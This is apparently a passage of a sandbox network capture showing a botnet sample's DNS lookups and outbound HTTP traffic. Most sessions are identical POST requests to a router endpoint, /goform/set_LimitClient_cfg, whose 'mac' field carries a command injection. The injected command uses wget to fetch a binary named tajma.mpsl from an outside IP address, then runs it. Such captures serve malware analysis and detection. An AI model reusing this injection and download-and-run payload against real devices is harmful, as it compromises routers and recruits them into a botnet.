Apr 19, 2024 13:08:04.751514912 CEST	192.168.2.14	8.8.8.8	0x9f04	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:07.213036060 CEST	192.168.2.14	8.8.8.8	0xf3c5	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:12.695610046 CEST	192.168.2.14	8.8.8.8	0x388a	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:18.166631937 CEST	192.168.2.14	8.8.8.8	0x4a9f	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:28.644627094 CEST	192.168.2.14	8.8.8.8	0x91a1	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:37.120929003 CEST	192.168.2.14	8.8.8.8	0x28c3	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:40.566705942 CEST	192.168.2.14	8.8.8.8	0x2c0	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:46.029138088 CEST	192.168.2.14	8.8.8.8	0x2d1e	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:52.505820990 CEST	192.168.2.14	8.8.8.8	0xe61	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:59.985189915 CEST	192.168.2.14	8.8.8.8	0xaaf5	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 19, 2024 13:06:57.754868031 CEST	8.8.8.8	192.168.2.14	0x7ab7	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:04.213175058 CEST	8.8.8.8	192.168.2.14	0x7fe0	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:11.694717884 CEST	8.8.8.8	192.168.2.14	0x5b21	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:22.149884939 CEST	8.8.8.8	192.168.2.14	0x9ee8	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:26.609122038 CEST	8.8.8.8	192.168.2.14	0xbafc	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:37.082464933 CEST	8.8.8.8	192.168.2.14	0xfc6b	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:39.529288054 CEST	8.8.8.8	192.168.2.14	0x1aec	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:46.007811069 CEST	8.8.8.8	192.168.2.14	0xfd32	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:50.458436012 CEST	8.8.8.8	192.168.2.14	0xcdf5	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:58.909926891 CEST	8.8.8.8	192.168.2.14	0x226d	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:03.380825996 CEST	8.8.8.8	192.168.2.14	0x75fc	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:04.856462955 CEST	8.8.8.8	192.168.2.14	0x9f04	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:07.318372011 CEST	8.8.8.8	192.168.2.14	0xf3c5	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:12.803958893 CEST	8.8.8.8	192.168.2.14	0x388a	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:18.271959066 CEST	8.8.8.8	192.168.2.14	0x4a9f	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:28.750369072 CEST	8.8.8.8	192.168.2.14	0x91a1	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:37.226031065 CEST	8.8.8.8	192.168.2.14	0x28c3	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:40.671745062 CEST	8.8.8.8	192.168.2.14	0x2c0	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:46.133651018 CEST	8.8.8.8	192.168.2.14	0x2d1e	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:52.611004114 CEST	8.8.8.8	192.168.2.14	0xe61	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:09:00.093943119 CEST	8.8.8.8	192.168.2.14	0xaaf5	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:42.307873011 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:42.532994032 CEST	548	IN	HTTP/1.1 400 Bad Request Date: Fri, 19 Apr 2024 11:04:19 GMT Server: X-Frame-Options: SAMEORIGIN Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob: Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:42.620615959 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:42.724884033 CEST	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 19 Apr 2024 11:07:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:42.626122952 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:42.735053062 CEST	950	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 762 Date: Fri, 19 Apr 2024 11:07:42 GMT Connection: close Server: iboss cloud Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 73 65 72 76 65 72 20 63 61 6e 6e 6f 74 20 6f 72 20 77 69 6c 6c 20 6e 6f 74 20 70 72 6f 63 65 73 73 20 74 68 65 20 72 65 71 75 65 73 74 20 64 75 65 20 74 6f 20 73 6f 6d 65 74 68 69 6e 67 20 74 68 61 74 20 69 73 20 70 65 72 63 65 69 76 65 64 20 74 6f 20 62 65 20 61 20 63 6c 69 65 6e 74 20 65 72 72 6f 72 20 28 65 2e 67 2e 2c 20 6d 61 6c 66 6f 72 6d 65 64 20 72 65 71 75 65 73 74 20 73 79 6e 74 61 78 2c 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 20 6d 65 73 73 61 67 65 20 66 72 61 6d 69 6e 67 2c 20 6f 72 20 64 65 63 65 70 74 69 76 65 20 72 65 71 75 65 73 74 20 72 6f 75 74 69 6e 67 29 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 37 31 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).</p><hr class="line" /><h3>Apache Tomcat/9.0.71</h3></body></html>

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:44.866537094 CEST	223	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:45.271051884 CEST	223	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:46.075036049 CEST	223	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:47.638972998 CEST	223	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:45.027486086 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:45.313086033 CEST	103	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:45.250603914 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:45.501712084 CEST	313	IN	HTTP/1.0 400 Bad Request Date: Fri, 19 Apr 2024 14:07:45 GMT Server: Boa/0.94.11 Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:51.895967960 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:51.999875069 CEST	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 19 Apr 2024 11:07:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:54.599831104 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:54.878590107 CEST	103	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close